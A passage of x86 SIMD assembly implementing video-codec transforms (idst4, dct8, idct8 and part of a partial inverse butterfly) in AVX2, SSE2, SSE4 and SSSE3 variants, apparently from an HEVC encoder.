;void idst4(const int16_t* src, int16_t* dst, intptr_t dstStride)
;-----------------------------------------------------------------
INIT_YMM avx2
cglobal idst4, 3, 4, 6
vbroadcasti128 m4, [pd_ %+ IDCT_ROUND]
add r2d, r2d
lea r3, [pw_idst4_tab]
movu xm0, [r0 + 0 * 16]
movu xm1, [r0 + 1 * 16]
punpcklwd m2, m0, m1
punpckhwd m0, m1
vinserti128 m2, m2, xm2, 1
vinserti128 m0, m0, xm0, 1
vpbroadcastd m5, [pd_64]
pmaddwd m1, m2, [r3 + 0 * 32]
pmaddwd m3, m0, [r3 + 1 * 32]
paddd m1, m3
paddd m1, m5
psrad m1, 7
pmaddwd m3, m2, [r3 + 2 * 32]
pmaddwd m0, [r3 + 3 * 32]
paddd m3, m0
paddd m3, m5
psrad m3, 7
packssdw m0, m1, m3
pshufb m0, [pb_idst4_shuf]
vpermq m1, m0, 11101110b
punpcklwd m2, m0, m1
punpckhwd m0, m1
punpcklwd m1, m2, m0
punpckhwd m2, m0
vpermq m1, m1, 01000100b
vpermq m2, m2, 01000100b
pmaddwd m0, m1, [r3 + 0 * 32]
pmaddwd m3, m2, [r3 + 1 * 32]
paddd m0, m3
paddd m0, m4
psrad m0, IDCT_SHIFT
pmaddwd m3, m1, [r3 + 2 * 32]
pmaddwd m2, m2, [r3 + 3 * 32]
paddd m3, m2
paddd m3, m4
psrad m3, IDCT_SHIFT
packssdw m0, m3
pshufb m1, m0, [pb_idst4_shuf]
vpermq m0, m1, 11101110b
punpcklwd m2, m1, m0
movq [r1 + 0 * r2], xm2
movhps [r1 + 1 * r2], xm2
punpckhwd m1, m0
movq [r1 + 2 * r2], xm1
lea r1, [r1 + 2 * r2]
movhps [r1 + r2], xm1
RET
;-------------------------------------------------------
; void dct8(const int16_t* src, int16_t* dst, intptr_t srcStride)
;-------------------------------------------------------
INIT_XMM sse2
cglobal dct8, 3,6,8,0-16*mmsize
;------------------------
; Stack Mapping(dword)
;------------------------
; Row0[0-3] Row1[0-3]
; ...
; Row6[0-3] Row7[0-3]
; Row0[0-3] Row7[0-3]
; ...
; Row6[4-7] Row7[4-7]
;------------------------
add r2, r2
lea r3, [r2 * 3]
mov r5, rsp
%assign x 0
%rep 2
movu m0, [r0]
movu m1, [r0 + r2]
movu m2, [r0 + r2 * 2]
movu m3, [r0 + r3]
punpcklwd m4, m0, m1
punpckhwd m0, m1
punpcklwd m5, m2, m3
punpckhwd m2, m3
punpckldq m1, m4, m5 ; m1 = [1 0]
punpckhdq m4, m5 ; m4 = [3 2]
punpckldq m3, m0, m2
punpckhdq m0, m2
pshufd m2, m3, 0x4E ; m2 = [4 5]
pshufd m0, m0, 0x4E ; m0 = [6 7]
paddw m3, m1, m0
psubw m1, m0 ; m1 = [d1 d0]
paddw m0, m4, m2
psubw m4, m2 ; m4 = [d3 d2]
punpcklqdq m2, m3, m0 ; m2 = [s2 s0]
punpckhqdq m3, m0
pshufd m3, m3, 0x4E ; m3 = [s1 s3]
punpcklwd m0, m1, m4 ; m0 = [d2/d0]
punpckhwd m1, m4 ; m1 = [d3/d1]
punpckldq m4, m0, m1 ; m4 = [d3 d1 d2 d0]
punpckhdq m0, m1 ; m0 = [d3 d1 d2 d0]
; odd
lea r4, [tab_dct8_1]
pmaddwd m1, m4, [r4 + 0*16]
pmaddwd m5, m0, [r4 + 0*16]
pshufd m1, m1, 0xD8
pshufd m5, m5, 0xD8
mova m7, m1
punpckhqdq m7, m5
punpcklqdq m1, m5
paddd m1, m7
paddd m1, [pd_ %+ DCT8_ROUND1]
psrad m1, DCT8_SHIFT1
%if x == 1
pshufd m1, m1, 0x1B
%endif
mova [r5 + 1*2*mmsize], m1 ; Row 1
pmaddwd m1, m4, [r4 + 1*16]
pmaddwd m5, m0, [r4 + 1*16]
pshufd m1, m1, 0xD8
pshufd m5, m5, 0xD8
mova m7, m1
punpckhqdq m7, m5
punpcklqdq m1, m5
paddd m1, m7
paddd m1, [pd_ %+ DCT8_ROUND1]
psrad m1, DCT8_SHIFT1
%if x == 1
pshufd m1, m1, 0x1B
%endif
mova [r5 + 3*2*mmsize], m1 ; Row 3
pmaddwd m1, m4, [r4 + 2*16]
pmaddwd m5, m0, [r4 + 2*16]
pshufd m1, m1, 0xD8
pshufd m5, m5, 0xD8
mova m7, m1
punpckhqdq m7, m5
punpcklqdq m1, m5
paddd m1, m7
paddd m1, [pd_ %+ DCT8_ROUND1]
psrad m1, DCT8_SHIFT1
%if x == 1
pshufd m1, m1, 0x1B
%endif
mova [r5 + 5*2*mmsize], m1 ; Row 5
pmaddwd m4, [r4 + 3*16]
pmaddwd m0, [r4 + 3*16]
pshufd m4, m4, 0xD8
pshufd m0, m0, 0xD8
mova m7, m4
punpckhqdq m7, m0
punpcklqdq m4, m0
paddd m4, m7
paddd m4, [pd_ %+ DCT8_ROUND1]
psrad m4, DCT8_SHIFT1
%if x == 1
pshufd m4, m4, 0x1B
%endif
mova [r5 + 7*2*mmsize], m4; Row 7
; even
lea r4, [tab_dct4]
paddw m0, m2, m3 ; m0 = [EE1 EE0]
pshufd m0, m0, 0xD8
pshuflw m0, m0, 0xD8
pshufhw m0, m0, 0xD8
psubw m2, m3 ; m2 = [EO1 EO0]
pmullw m2, [pw_ppppmmmm]
pshufd m2, m2, 0xD8
pshuflw m2, m2, 0xD8
pshufhw m2, m2, 0xD8
pmaddwd m3, m0, [r4 + 0*16]
paddd m3, [pd_ %+ DCT8_ROUND1]
psrad m3, DCT8_SHIFT1
%if x == 1
pshufd m3, m3, 0x1B
%endif
mova [r5 + 0*2*mmsize], m3 ; Row 0
pmaddwd m0, [r4 + 2*16]
paddd m0, [pd_ %+ DCT8_ROUND1]
psrad m0, DCT8_SHIFT1
%if x == 1
pshufd m0, m0, 0x1B
%endif
mova [r5 + 4*2*mmsize], m0 ; Row 4
pmaddwd m3, m2, [r4 + 1*16]
paddd m3, [pd_ %+ DCT8_ROUND1]
psrad m3, DCT8_SHIFT1
%if x == 1
pshufd m3, m3, 0x1B
%endif
mova [r5 + 2*2*mmsize], m3 ; Row 2
pmaddwd m2, [r4 + 3*16]
paddd m2, [pd_ %+ DCT8_ROUND1]
psrad m2, DCT8_SHIFT1
%if x == 1
pshufd m2, m2, 0x1B
%endif
mova [r5 + 6*2*mmsize], m2 ; Row 6
%if x != 1
lea r0, [r0 + r2 * 4]
add r5, mmsize
%endif
%assign x x+1
%endrep
mov r0, rsp ; r0 = pointer to Low Part
lea r4, [tab_dct8_2]
%assign x 0
%rep 4
mova m0, [r0 + 0*2*mmsize] ; [3 2 1 0]
mova m1, [r0 + 1*2*mmsize]
paddd m2, m0, [r0 + (0*2+1)*mmsize]
pshufd m2, m2, 0x9C ; m2 = [s2 s1 s3 s0]
paddd m3, m1, [r0 + (1*2+1)*mmsize]
pshufd m3, m3, 0x9C ; m3 = ^^
psubd m0, [r0 + (0*2+1)*mmsize] ; m0 = [d3 d2 d1 d0]
psubd m1, [r0 + (1*2+1)*mmsize] ; m1 = ^^
; even
pshufd m4, m2, 0xD8
pshufd m3, m3, 0xD8
mova m7, m4
punpckhqdq m7, m3
punpcklqdq m4, m3
mova m2, m4
paddd m4, m7 ; m4 = [EE1 EE0 EE1 EE0]
psubd m2, m7 ; m2 = [EO1 EO0 EO1 EO0]
pslld m4, 6 ; m4 = [64*EE1 64*EE0]
mova m5, m2
pmuludq m5, [r4 + 0*16]
pshufd m7, m2, 0xF5
movu m6, [r4 + 0*16 + 4]
pmuludq m7, m6
pshufd m5, m5, 0x88
pshufd m7, m7, 0x88
punpckldq m5, m7 ; m5 = [36*EO1 83*EO0]
pshufd m7, m2, 0xF5
pmuludq m2, [r4 + 1*16]
movu m6, [r4 + 1*16 + 4]
pmuludq m7, m6
pshufd m2, m2, 0x88
pshufd m7, m7, 0x88
punpckldq m2, m7 ; m2 = [83*EO1 36*EO0]
pshufd m3, m4, 0xD8
pshufd m5, m5, 0xD8
mova m7, m3
punpckhqdq m7, m5
punpcklqdq m3, m5
paddd m3, m7 ; m3 = [Row2 Row0]
paddd m3, [pd_ %+ DCT8_ROUND2]
psrad m3, DCT8_SHIFT2
pshufd m4, m4, 0xD8
pshufd m2, m2, 0xD8
mova m7, m4
punpckhqdq m7, m2
punpcklqdq m4, m2
psubd m4, m7 ; m4 = [Row6 Row4]
paddd m4, [pd_ %+ DCT8_ROUND2]
psrad m4, DCT8_SHIFT2
packssdw m3, m3
movd [r1 + 0*mmsize], m3
pshufd m3, m3, 1
movd [r1 + 2*mmsize], m3
packssdw m4, m4
movd [r1 + 4*mmsize], m4
pshufd m4, m4, 1
movd [r1 + 6*mmsize], m4
; odd
mova m2, m0
pmuludq m2, [r4 + 2*16]
pshufd m7, m0, 0xF5
movu m6, [r4 + 2*16 + 4]
pmuludq m7, m6
pshufd m2, m2, 0x88
pshufd m7, m7, 0x88
punpckldq m2, m7
mova m3, m1
pmuludq m3, [r4 + 2*16]
pshufd m7, m1, 0xF5
pmuludq m7, m6
pshufd m3, m3, 0x88
pshufd m7, m7, 0x88
punpckldq m3, m7
mova m4, m0
pmuludq m4, [r4 + 3*16]
pshufd m7, m0, 0xF5
movu m6, [r4 + 3*16 + 4]
pmuludq m7, m6
pshufd m4, m4, 0x88
pshufd m7, m7, 0x88
punpckldq m4, m7
mova m5, m1
pmuludq m5, [r4 + 3*16]
pshufd m7, m1, 0xF5
pmuludq m7, m6
pshufd m5, m5, 0x88
pshufd m7, m7, 0x88
punpckldq m5, m7
pshufd m2, m2, 0xD8
pshufd m3, m3, 0xD8
mova m7, m2
punpckhqdq m7, m3
punpcklqdq m2, m3
paddd m2, m7
pshufd m4, m4, 0xD8
pshufd m5, m5, 0xD8
mova m7, m4
punpckhqdq m7, m5
punpcklqdq m4, m5
paddd m4, m7
pshufd m2, m2, 0xD8
pshufd m4, m4, 0xD8
mova m7, m2
punpckhqdq m7, m4
punpcklqdq m2, m4
paddd m2, m7 ; m2 = [Row3 Row1]
paddd m2, [pd_ %+ DCT8_ROUND2]
psrad m2, DCT8_SHIFT2
packssdw m2, m2
movd [r1 + 1*mmsize], m2
pshufd m2, m2, 1
movd [r1 + 3*mmsize], m2
mova m2, m0
pmuludq m2, [r4 + 4*16]
pshufd m7, m0, 0xF5
movu m6, [r4 + 4*16 + 4]
pmuludq m7, m6
pshufd m2, m2, 0x88
pshufd m7, m7, 0x88
punpckldq m2, m7
mova m3, m1
pmuludq m3, [r4 + 4*16]
pshufd m7, m1, 0xF5
pmuludq m7, m6
pshufd m3, m3, 0x88
pshufd m7, m7, 0x88
punpckldq m3, m7
mova m4, m0
pmuludq m4, [r4 + 5*16]
pshufd m7, m0, 0xF5
movu m6, [r4 + 5*16 + 4]
pmuludq m7, m6
pshufd m4, m4, 0x88
pshufd m7, m7, 0x88
punpckldq m4, m7
mova m5, m1
pmuludq m5, [r4 + 5*16]
pshufd m7, m1, 0xF5
pmuludq m7, m6
pshufd m5, m5, 0x88
pshufd m7, m7, 0x88
punpckldq m5, m7
pshufd m2, m2, 0xD8
pshufd m3, m3, 0xD8
mova m7, m2
punpckhqdq m7, m3
punpcklqdq m2, m3
paddd m2, m7
pshufd m4, m4, 0xD8
pshufd m5, m5, 0xD8
mova m7, m4
punpckhqdq m7, m5
punpcklqdq m4, m5
paddd m4, m7
pshufd m2, m2, 0xD8
pshufd m4, m4, 0xD8
mova m7, m2
punpckhqdq m7, m4
punpcklqdq m2, m4
paddd m2, m7 ; m2 = [Row7 Row5]
paddd m2, [pd_ %+ DCT8_ROUND2]
psrad m2, DCT8_SHIFT2
packssdw m2, m2
movd [r1 + 5*mmsize], m2
pshufd m2, m2, 1
movd [r1 + 7*mmsize], m2
%if x < 3
add r1, mmsize/4
add r0, 2*2*mmsize
%endif
%assign x x+1
%endrep
RET
;-------------------------------------------------------
; void dct8(const int16_t* src, int16_t* dst, intptr_t srcStride)
;-------------------------------------------------------
INIT_XMM sse4
cglobal dct8, 3,6,7,0-16*mmsize
;------------------------
; Stack Mapping(dword)
;------------------------
; Row0[0-3] Row1[0-3]
; ...
; Row6[0-3] Row7[0-3]
; Row0[0-3] Row7[0-3]
; ...
; Row6[4-7] Row7[4-7]
;------------------------
mova m6, [pd_ %+ DCT8_ROUND1]
add r2, r2
lea r3, [r2 * 3]
mov r5, rsp
%assign x 0
%rep 2
movu m0, [r0]
movu m1, [r0 + r2]
movu m2, [r0 + r2 * 2]
movu m3, [r0 + r3]
punpcklwd m4, m0, m1
punpckhwd m0, m1
punpcklwd m5, m2, m3
punpckhwd m2, m3
punpckldq m1, m4, m5 ; m1 = [1 0]
punpckhdq m4, m5 ; m4 = [3 2]
punpckldq m3, m0, m2
punpckhdq m0, m2
pshufd m2, m3, 0x4E ; m2 = [4 5]
pshufd m0, m0, 0x4E ; m0 = [6 7]
paddw m3, m1, m0
psubw m1, m0 ; m1 = [d1 d0]
paddw m0, m4, m2
psubw m4, m2 ; m4 = [d3 d2]
punpcklqdq m2, m3, m0 ; m2 = [s2 s0]
punpckhqdq m3, m0
pshufd m3, m3, 0x4E ; m3 = [s1 s3]
punpcklwd m0, m1, m4 ; m0 = [d2/d0]
punpckhwd m1, m4 ; m1 = [d3/d1]
punpckldq m4, m0, m1 ; m4 = [d3 d1 d2 d0]
punpckhdq m0, m1 ; m0 = [d3 d1 d2 d0]
; odd
lea r4, [tab_dct8_1]
pmaddwd m1, m4, [r4 + 0*16]
pmaddwd m5, m0, [r4 + 0*16]
phaddd m1, m5
paddd m1, m6
psrad m1, DCT8_SHIFT1
%if x == 1
pshufd m1, m1, 0x1B
%endif
mova [r5 + 1*2*mmsize], m1 ; Row 1
pmaddwd m1, m4, [r4 + 1*16]
pmaddwd m5, m0, [r4 + 1*16]
phaddd m1, m5
paddd m1, m6
psrad m1, DCT8_SHIFT1
%if x == 1
pshufd m1, m1, 0x1B
%endif
mova [r5 + 3*2*mmsize], m1 ; Row 3
pmaddwd m1, m4, [r4 + 2*16]
pmaddwd m5, m0, [r4 + 2*16]
phaddd m1, m5
paddd m1, m6
psrad m1, DCT8_SHIFT1
%if x == 1
pshufd m1, m1, 0x1B
%endif
mova [r5 + 5*2*mmsize], m1 ; Row 5
pmaddwd m4, [r4 + 3*16]
pmaddwd m0, [r4 + 3*16]
phaddd m4, m0
paddd m4, m6
psrad m4, DCT8_SHIFT1
%if x == 1
pshufd m4, m4, 0x1B
%endif
mova [r5 + 7*2*mmsize], m4; Row 7
; even
lea r4, [tab_dct4]
paddw m0, m2, m3 ; m0 = [EE1 EE0]
pshufb m0, [pb_unpackhlw1]
psubw m2, m3 ; m2 = [EO1 EO0]
psignw m2, [pw_ppppmmmm]
pshufb m2, [pb_unpackhlw1]
pmaddwd m3, m0, [r4 + 0*16]
paddd m3, m6
psrad m3, DCT8_SHIFT1
%if x == 1
pshufd m3, m3, 0x1B
%endif
mova [r5 + 0*2*mmsize], m3 ; Row 0
pmaddwd m0, [r4 + 2*16]
paddd m0, m6
psrad m0, DCT8_SHIFT1
%if x == 1
pshufd m0, m0, 0x1B
%endif
mova [r5 + 4*2*mmsize], m0 ; Row 4
pmaddwd m3, m2, [r4 + 1*16]
paddd m3, m6
psrad m3, DCT8_SHIFT1
%if x == 1
pshufd m3, m3, 0x1B
%endif
mova [r5 + 2*2*mmsize], m3 ; Row 2
pmaddwd m2, [r4 + 3*16]
paddd m2, m6
psrad m2, DCT8_SHIFT1
%if x == 1
pshufd m2, m2, 0x1B
%endif
mova [r5 + 6*2*mmsize], m2 ; Row 6
%if x != 1
lea r0, [r0 + r2 * 4]
add r5, mmsize
%endif
%assign x x+1
%endrep
mov r2, 2
mov r0, rsp ; r0 = pointer to Low Part
lea r4, [tab_dct8_2]
mova m6, [pd_256]
.pass2:
%rep 2
mova m0, [r0 + 0*2*mmsize] ; [3 2 1 0]
mova m1, [r0 + 1*2*mmsize]
paddd m2, m0, [r0 + (0*2+1)*mmsize]
pshufd m2, m2, 0x9C ; m2 = [s2 s1 s3 s0]
paddd m3, m1, [r0 + (1*2+1)*mmsize]
pshufd m3, m3, 0x9C ; m3 = ^^
psubd m0, [r0 + (0*2+1)*mmsize] ; m0 = [d3 d2 d1 d0]
psubd m1, [r0 + (1*2+1)*mmsize] ; m1 = ^^
; even
phaddd m4, m2, m3 ; m4 = [EE1 EE0 EE1 EE0]
phsubd m2, m3 ; m2 = [EO1 EO0 EO1 EO0]
pslld m4, 6 ; m4 = [64*EE1 64*EE0]
pmulld m5, m2, [r4 + 0*16] ; m5 = [36*EO1 83*EO0]
pmulld m2, [r4 + 1*16] ; m2 = [83*EO1 36*EO0]
phaddd m3, m4, m5 ; m3 = [Row2 Row0]
paddd m3, m6
psrad m3, 9
phsubd m4, m2 ; m4 = [Row6 Row4]
paddd m4, m6
psrad m4, 9
packssdw m3, m3
movd [r1 + 0*mmsize], m3
pshufd m3, m3, 1
movd [r1 + 2*mmsize], m3
packssdw m4, m4
movd [r1 + 4*mmsize], m4
pshufd m4, m4, 1
movd [r1 + 6*mmsize], m4
; odd
pmulld m2, m0, [r4 + 2*16]
pmulld m3, m1, [r4 + 2*16]
pmulld m4, m0, [r4 + 3*16]
pmulld m5, m1, [r4 + 3*16]
phaddd m2, m3
phaddd m4, m5
phaddd m2, m4 ; m2 = [Row3 Row1]
paddd m2, m6
psrad m2, 9
packssdw m2, m2
movd [r1 + 1*mmsize], m2
pshufd m2, m2, 1
movd [r1 + 3*mmsize], m2
pmulld m2, m0, [r4 + 4*16]
pmulld m3, m1, [r4 + 4*16]
pmulld m4, m0, [r4 + 5*16]
pmulld m5, m1, [r4 + 5*16]
phaddd m2, m3
phaddd m4, m5
phaddd m2, m4 ; m2 = [Row7 Row5]
paddd m2, m6
psrad m2, 9
packssdw m2, m2
movd [r1 + 5*mmsize], m2
pshufd m2, m2, 1
movd [r1 + 7*mmsize], m2
add r1, mmsize/4
add r0, 2*2*mmsize
%endrep
dec r2
jnz .pass2
RET
;-------------------------------------------------------
; void idct8(const int16_t* src, int16_t* dst, intptr_t dstStride)
;-------------------------------------------------------
%if ARCH_X86_64
INIT_XMM sse2
cglobal idct8, 3, 6, 16, 0-5*mmsize
mova m9, [r0 + 1 * mmsize]
mova m1, [r0 + 3 * mmsize]
mova m7, m9
punpcklwd m7, m1
punpckhwd m9, m1
mova m14, [tab_idct8_3]
mova m3, m14
pmaddwd m14, m7
pmaddwd m3, m9
mova m0, [r0 + 5 * mmsize]
mova m10, [r0 + 7 * mmsize]
mova m2, m0
punpcklwd m2, m10
punpckhwd m0, m10
mova m15, [tab_idct8_3 + 1 * mmsize]
mova m11, [tab_idct8_3 + 1 * mmsize]
pmaddwd m15, m2
mova m4, [tab_idct8_3 + 2 * mmsize]
pmaddwd m11, m0
mova m1, [tab_idct8_3 + 2 * mmsize]
paddd m15, m14
mova m5, [tab_idct8_3 + 4 * mmsize]
mova m12, [tab_idct8_3 + 4 * mmsize]
paddd m11, m3
mova [rsp + 0 * mmsize], m11
mova [rsp + 1 * mmsize], m15
pmaddwd m4, m7
pmaddwd m1, m9
mova m14, [tab_idct8_3 + 3 * mmsize]
mova m3, [tab_idct8_3 + 3 * mmsize]
pmaddwd m14, m2
pmaddwd m3, m0
paddd m14, m4
paddd m3, m1
mova [rsp + 2 * mmsize], m3
pmaddwd m5, m9
pmaddwd m9, [tab_idct8_3 + 6 * mmsize]
mova m6, [tab_idct8_3 + 5 * mmsize]
pmaddwd m12, m7
pmaddwd m7, [tab_idct8_3 + 6 * mmsize]
mova m4, [tab_idct8_3 + 5 * mmsize]
pmaddwd m6, m2
paddd m6, m12
pmaddwd m2, [tab_idct8_3 + 7 * mmsize]
paddd m7, m2
mova [rsp + 3 * mmsize], m6
pmaddwd m4, m0
pmaddwd m0, [tab_idct8_3 + 7 * mmsize]
paddd m9, m0
paddd m5, m4
mova m6, [r0 + 0 * mmsize]
mova m0, [r0 + 4 * mmsize]
mova m4, m6
punpcklwd m4, m0
punpckhwd m6, m0
mova m12, [r0 + 2 * mmsize]
mova m0, [r0 + 6 * mmsize]
mova m13, m12
mova m8, [tab_dct4]
punpcklwd m13, m0
mova m10, [tab_dct4]
punpckhwd m12, m0
pmaddwd m8, m4
mova m3, m8
pmaddwd m4, [tab_dct4 + 2 * mmsize]
pmaddwd m10, m6
mova m2, [tab_dct4 + 1 * mmsize]
mova m1, m10
pmaddwd m6, [tab_dct4 + 2 * mmsize]
mova m0, [tab_dct4 + 1 * mmsize]
pmaddwd m2, m13
paddd m3, m2
psubd m8, m2
mova m2, m6
pmaddwd m13, [tab_dct4 + 3 * mmsize]
pmaddwd m0, m12
paddd m1, m0
psubd m10, m0
mova m0, m4
pmaddwd m12, [tab_dct4 + 3 * mmsize]
paddd m3, [pd_64]
paddd m1, [pd_64]
paddd m8, [pd_64]
paddd m10, [pd_64]
paddd m0, m13
paddd m2, m12
paddd m0, [pd_64]
paddd m2, [pd_64]
psubd m4, m13
psubd m6, m12
paddd m4, [pd_64]
paddd m6, [pd_64]
mova m12, m8
psubd m8, m7
psrad m8, 7
paddd m15, m3
psubd m3, [rsp + 1 * mmsize]
psrad m15, 7
paddd m12, m7
psrad m12, 7
paddd m11, m1
mova m13, m14
psrad m11, 7
packssdw m15, m11
psubd m1, [rsp + 0 * mmsize]
psrad m1, 7
mova m11, [rsp + 2 * mmsize]
paddd m14, m0
psrad m14, 7
psubd m0, m13
psrad m0, 7
paddd m11, m2
mova m13, [rsp + 3 * mmsize]
psrad m11, 7
packssdw m14, m11
mova m11, m6
psubd m6, m5
paddd m13, m4
psrad m13, 7
psrad m6, 7
paddd m11, m5
psrad m11, 7
packssdw m13, m11
mova m11, m10
psubd m4, [rsp + 3 * mmsize]
psubd m10, m9
psrad m4, 7
psrad m10, 7
packssdw m4, m6
packssdw m8, m10
paddd m11, m9
psrad m11, 7
packssdw m12, m11
psubd m2, [rsp + 2 * mmsize]
mova m5, m15
psrad m2, 7
packssdw m0, m2
mova m2, m14
psrad m3, 7
packssdw m3, m1
mova m6, m13
punpcklwd m5, m8
punpcklwd m2, m4
mova m1, m12
punpcklwd m6, m0
punpcklwd m1, m3
mova m9, m5
punpckhwd m13, m0
mova m0, m2
punpcklwd m9, m6
punpckhwd m5, m6
punpcklwd m0, m1
punpckhwd m2, m1
punpckhwd m15, m8
mova m1, m5
punpckhwd m14, m4
punpckhwd m12, m3
mova m6, m9
punpckhwd m9, m0
punpcklwd m1, m2
mova m4, [tab_idct8_3 + 0 * mmsize]
punpckhwd m5, m2
punpcklwd m6, m0
mova m2, m15
mova m0, m14
mova m7, m9
punpcklwd m2, m13
punpcklwd m0, m12
punpcklwd m7, m5
punpckhwd m14, m12
mova m10, m2
punpckhwd m15, m13
punpckhwd m9, m5
pmaddwd m4, m7
mova m13, m1
punpckhwd m2, m0
punpcklwd m10, m0
mova m0, m15
punpckhwd m15, m14
mova m12, m1
mova m3, [tab_idct8_3 + 0 * mmsize]
punpcklwd m0, m14
pmaddwd m3, m9
mova m11, m2
punpckhwd m2, m15
punpcklwd m11, m15
mova m8, [tab_idct8_3 + 1 * mmsize]
punpcklwd m13, m0
punpckhwd m12, m0
pmaddwd m8, m11
paddd m8, m4
mova [rsp + 4 * mmsize], m8
mova m4, [tab_idct8_3 + 2 * mmsize]
pmaddwd m4, m7
mova m15, [tab_idct8_3 + 2 * mmsize]
mova m5, [tab_idct8_3 + 1 * mmsize]
pmaddwd m15, m9
pmaddwd m5, m2
paddd m5, m3
mova [rsp + 3 * mmsize], m5
mova m14, [tab_idct8_3 + 3 * mmsize]
mova m5, [tab_idct8_3 + 3 * mmsize]
pmaddwd m14, m11
paddd m14, m4
mova [rsp + 2 * mmsize], m14
pmaddwd m5, m2
paddd m5, m15
mova [rsp + 1 * mmsize], m5
mova m15, [tab_idct8_3 + 4 * mmsize]
mova m5, [tab_idct8_3 + 4 * mmsize]
pmaddwd m15, m7
pmaddwd m7, [tab_idct8_3 + 6 * mmsize]
pmaddwd m5, m9
pmaddwd m9, [tab_idct8_3 + 6 * mmsize]
mova m4, [tab_idct8_3 + 5 * mmsize]
pmaddwd m4, m2
paddd m5, m4
mova m4, m6
mova m8, [tab_idct8_3 + 5 * mmsize]
punpckhwd m6, m10
pmaddwd m2, [tab_idct8_3 + 7 * mmsize]
punpcklwd m4, m10
paddd m9, m2
pmaddwd m8, m11
mova m10, [tab_dct4]
paddd m8, m15
pmaddwd m11, [tab_idct8_3 + 7 * mmsize]
paddd m7, m11
mova [rsp + 0 * mmsize], m8
pmaddwd m10, m6
pmaddwd m6, [tab_dct4 + 2 * mmsize]
mova m1, m10
mova m8, [tab_dct4]
mova m3, [tab_dct4 + 1 * mmsize]
pmaddwd m8, m4
pmaddwd m4, [tab_dct4 + 2 * mmsize]
mova m0, m8
mova m2, [tab_dct4 + 1 * mmsize]
pmaddwd m3, m13
psubd m8, m3
paddd m0, m3
mova m3, m6
pmaddwd m13, [tab_dct4 + 3 * mmsize]
pmaddwd m2, m12
paddd m1, m2
psubd m10, m2
mova m2, m4
pmaddwd m12, [tab_dct4 + 3 * mmsize]
mova m15, [pd_ %+ IDCT_ROUND]
paddd m0, m15
paddd m1, m15
paddd m8, m15
paddd m10, m15
paddd m2, m13
paddd m3, m12
paddd m2, m15
paddd m3, m15
psubd m4, m13
psubd m6, m12
paddd m4, m15
paddd m6, m15
mova m15, [rsp + 4 * mmsize]
mova m12, m8
psubd m8, m7
psrad m8, IDCT_SHIFT
mova m11, [rsp + 3 * mmsize]
paddd m15, m0
psrad m15, IDCT_SHIFT
psubd m0, [rsp + 4 * mmsize]
psrad m0, IDCT_SHIFT
paddd m12, m7
paddd m11, m1
mova m14, [rsp + 2 * mmsize]
psrad m11, IDCT_SHIFT
packssdw m15, m11
psubd m1, [rsp + 3 * mmsize]
psrad m1, IDCT_SHIFT
mova m11, [rsp + 1 * mmsize]
paddd m14, m2
psrad m14, IDCT_SHIFT
packssdw m0, m1
psrad m12, IDCT_SHIFT
psubd m2, [rsp + 2 * mmsize]
paddd m11, m3
mova m13, [rsp + 0 * mmsize]
psrad m11, IDCT_SHIFT
packssdw m14, m11
mova m11, m6
psubd m6, m5
paddd m13, m4
psrad m13, IDCT_SHIFT
mova m1, m15
paddd m11, m5
psrad m11, IDCT_SHIFT
packssdw m13, m11
mova m11, m10
psubd m10, m9
psrad m10, IDCT_SHIFT
packssdw m8, m10
psrad m6, IDCT_SHIFT
psubd m4, [rsp + 0 * mmsize]
paddd m11, m9
psrad m11, IDCT_SHIFT
packssdw m12, m11
punpcklwd m1, m14
mova m5, m13
psrad m4, IDCT_SHIFT
packssdw m4, m6
psubd m3, [rsp + 1 * mmsize]
psrad m2, IDCT_SHIFT
mova m6, m8
psrad m3, IDCT_SHIFT
punpcklwd m5, m12
packssdw m2, m3
punpcklwd m6, m4
punpckhwd m8, m4
mova m4, m1
mova m3, m2
punpckhdq m1, m5
punpckldq m4, m5
punpcklwd m3, m0
punpckhwd m2, m0
mova m0, m6
lea r2, [r2 + r2]
lea r4, [r2 + r2]
lea r3, [r4 + r2]
lea r4, [r4 + r3]
lea r0, [r4 + r2 * 2]
movq [r1], m4
punpckhwd m15, m14
movhps [r1 + r2], m4
punpckhdq m0, m3
movq [r1 + r2 * 2], m1
punpckhwd m13, m12
movhps [r1 + r3], m1
mova m1, m6
punpckldq m1, m3
movq [r1 + 8], m1
movhps [r1 + r2 + 8], m1
movq [r1 + r2 * 2 + 8], m0
movhps [r1 + r3 + 8], m0
mova m0, m15
punpckhdq m15, m13
punpckldq m0, m13
movq [r1 + r2 * 4], m0
movhps [r1 + r4], m0
mova m0, m8
punpckhdq m8, m2
movq [r1 + r3 * 2], m15
punpckldq m0, m2
movhps [r1 + r0], m15
movq [r1 + r2 * 4 + 8], m0
movhps [r1 + r4 + 8], m0
movq [r1 + r3 * 2 + 8], m8
movhps [r1 + r0 + 8], m8
RET
%endif
;-------------------------------------------------------
; void idct8(const int16_t* src, int16_t* dst, intptr_t dstStride)
;-------------------------------------------------------
INIT_XMM ssse3
cglobal patial_butterfly_inverse_internal_pass1
movh m0, [r0]
movhps m0, [r0 + 2 * 16]
movh m1, [r0 + 4 * 16]
movhps m1, [r0 + 6 * 16]
punpckhwd m2, m0, m1 ; [2 6]
punpcklwd m0, m1 ; [0 4]
pmaddwd m1, m0, [r6] ; EE[0]
pmaddwd m0, [r6 + 32] ; EE[1]
pmaddwd m3, m2, [r6 + 16] ; EO[0]
pmaddwd m2, [r6 + 48] ; EO[1]
paddd m4, m1, m3 ; E[0]
psubd m1, m3 ; E[3]
paddd m3, m0, m2 ; E[1]
psubd m0, m2 ; E[2]
;E[K] = E[k] + add
mova m5, [pd_64]
paddd m0, m5
paddd m1, m5
paddd m3, m5
paddd m4, m5
movh m2, [r0 + 16]
movhps m2, [r0 + 5 * 16]
movh m5, [r0 + 3 * 16]
movhps m5, [r0 + 7 * 16]
punpcklwd m6, m2, m5 ;[1 3]
punpckhwd m2, m5 ;[5 7]
pmaddwd m5, m6, [r4]
pmaddwd m7, m2, [r4 + 16]
paddd m5, m7 ; O[0]
paddd m7, m4, m5
psrad m7, 7
psubd m4, m5
psrad m4, 7
packssdw m7, m4
movh [r5 + 0 * 16], m7
movhps [r5 + 7 * 16], m7
pmaddwd m5, m6, [r4 + 32]
pmaddwd m4, m2, [r4 + 48]
paddd m5, m4 ; O[1]
paddd m4, m3, m5
psrad m4, 7
psubd m3, m5
psrad m3, 7
packssdw m4, m3
movh [r5 + 1 * 16], m4
movhps [r5 + 6 * 16], m4
pmaddwd m5, m6, [r4 + 64]
pmaddwd m4, m2, [r4 + 80]
paddd m5, m4 ; O[2]
paddd m4, m0, m5
psrad m4, 7
psubd m0, m5
psrad m0, 7
packssdw m4, m0
movh [r5 + 2 * 16], m4
